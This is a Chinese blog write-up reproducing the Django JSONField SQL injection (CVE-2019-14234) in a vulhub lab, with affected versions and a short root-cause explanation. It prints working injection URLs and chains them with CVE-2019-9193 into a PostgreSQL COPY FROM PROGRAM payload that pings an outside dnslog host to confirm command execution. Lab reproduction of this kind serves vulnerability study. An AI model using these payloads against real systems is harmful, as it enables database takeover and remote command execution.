Django CVE-2019-14234
CVE-2019-14234:Django JSONField SQL注入漏洞复现
你剥开一个很酸的橙子而感到后悔了,可对于橙子来说,那是它的一切.
该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。
漏洞概述:
Django通常搭配postgresql数据库,而JSONField是该数据库的一种数据类型。该漏洞的出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。
通过JSONField类获得KeyTransform类并生成sql语句的位置。
其中key_name是可控的字符串,最终生成的语句是WHERE (field->’[key_name]’) = ‘value’,因此可以进行SQL注入。
漏洞版本:
- Django
1.11.x before 1.11.23
2.1.x before 2.1.11
2.2.x before 2.2.4
漏洞复现:
vulhub搭建,进行访问
通过对代码的分析,可以知道如果在你的Django中使用了JSONField并且查询的“键名”可控,就可以进行SQL注入
访问http://ip:8000/admin输入用户名admin ,密码a123123123
然后访问http://ip:8000/admin/vuln/collection/
构造URL进行查询,可以看到已经注入成功,并且可以看到构造的SQL语句
http://ip:8000/admin/vuln/collection/?detail__a%27b=123
7.下一步结合CVE-2019-9193我们尝试进行命令注入,构造url如下
?detail__title’)%3d’1’ or 1%3d1 %3bcreate table cmd_exec(cmd_output text)–%20
然后用dnslog检测是否可以执行命令
http://192.168.224.128:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%20wyz26d.dnslog.cn%27–%20成功检测到流量
漏洞修复:
升级升级升级。
余生很长,请多指教。
Django CVE-2019-14234相关推荐
- 细数Django框架核心历史SQL注入漏洞(上)
本博客已搬迁至:https://n0puple.github.io/ 此处不再更新文章 本文首发于奇安信攻防社区:https://forum.butian.net/share/1923 本文仅用于技术 ...
- 2021年第一季度Sumap网络空间测绘CVE漏洞趋势安全分析报告
前言 本文主要通过网络测绘角度收集各种资产协议的版本号信息,通过比对CVE漏洞影响范围中的版本号方式,进行安全风险趋势分析,无任何实际危害互联网行为.资产在携带版本中也会存在修复补丁后版本不变的情况. ...
- 基于django的二手房交易预测及展示系统
基于django的二手房交易预测及展示系统 摘要 本章主要讲述了一种基于Django的二手房买卖预测和显示软件系统.该系统主要包含了数据采集.预测分析.数据预处理块.模型训练和显示分析.首先,系统使用 ...
- 未发现数据源名称并且未指定默认驱动程序_看我如何发现NVIDIA GeForce Experience代码执行漏洞...
0x01 前言大家好,我是来自Chengdu University of Technology的Siyuan Yi,本人是一名安全爱好者,平时喜欢搞搞逆向,玩玩CTF.不久前,我发现了我的第一个0da ...
- VMware vCenter Server Appliance Photon OS安全修补程序
VMware vCenter Server Appliance Photon OS安全修补程序 上次更新时间 2019年12月19日 https://docs.vmware.com/en/VMware ...
- 工控系统的全球安全现状:全球漏洞实例分析
工控系统的全球安全现状:全球漏洞实例分析 一.摘要 运营技术(OT).网络和设备,即工业环境中使用的所有组件,在设计时并未考虑到安全性.效率和易用性是最重要的设计特征,然而,由于工业的数字化,越来 ...
- 2023年4月Kali MSF命令模块最详细模块与利用解释整合
前言 注意:前提概要<请遵守您本国家的相关法律法规,如有其他疑问或者任何事情与我本人无关> 开始 首先我们启动命令 msfconsole 我们应该都知道msf有三个大模块 use auxi ...
- 2019.03.20 mvt,Django分页
MVT模式 MVT各部分的功能: M全拼为Model,与MVC中的M功能相同,负责和数据库交互,进行数据处理. V全拼为View,与MVC中的C功能相同,接收请求,进行业务处理,返回响应. T全拼为T ...
- 【2019.06.16】Django + 微信小程序 实现微信小程序1——小程序基本信息,开发规范
小程序基本信息 微信官方网站注册微信小程序账号 小程序开发规范 开发规范 - 目录规范.命名规范.代码规范 目录规范: utils(工具) pages(页面) compaonents(主键) thir ...
- Django学习之路(一)--初识django
1.先创建虚拟环境 为什么要创建虚拟环境呢? 你有两个项目同时进行,一个需要pytnon3.9和Django3.x版本的,一个需要python3.7和Django2.x版本的,不进行环境隔离的话,运行 ...
最新文章
- 学术会议,已沦为表演...
- js中console在一行内打印字符串和对象
- codeforces271D
- java正则表达式的基本语法以及不同环境的表单验证
- Linux-makefile
- 计算机原理实验八位算术逻辑运算,8位算术逻辑运算计算机组成原理实验一
- VS2012 无法启动IIS Express Web服务器的解决方案
- 对DataGridView中的DataGridViewComboBoxColumn有了一点点体会
- 什么是GreenSock动画平台?
- CRIO脱机计算机工作,LabVIEW和cRIO入门
- 如何将数据库删除干净
- vue 中动态添加组件方式
- 科学计算机上lg怎么打,科学计算器对数
- gmail无法登陆的解决!!
- KERNEL_DIR、系统平台、交叉编译器的指定,以及内核模块驱动文件的签名
- 针对灰产外挂的分析与研究
- 论文阅读:Generating Talking Face Landmarks from Speech
- Python每日一练-----Excel表序号
- YOLOv7-Pose尝鲜,基于YOLOv7的关键点模型测评
- JS中click事件
热门文章
- 58同城数据库架构最佳实践
- llinux的shell脚本编程详解
- [WPF]使用Fody提高效率
- ASP.NET Web Pages:Chart 帮助器
- python进阶八_警告和异常
- Ifvisible.js – 判断网页中的用户是闲置还是活动状态
- HTML rel 属性
- stm8s103k3 周期 捕获_STM8S103K3 - 主流基本型系列8位MCU,具有8 KB Flash、16 MHz CPU和集成EEPROM - STMicroelectronics...
- 表单如何添加大的文本框_在 Flutter 中进行文本框的创建和设定
- github 搜索_Fzf:Golang开发的Github高星系统模糊搜索补全工具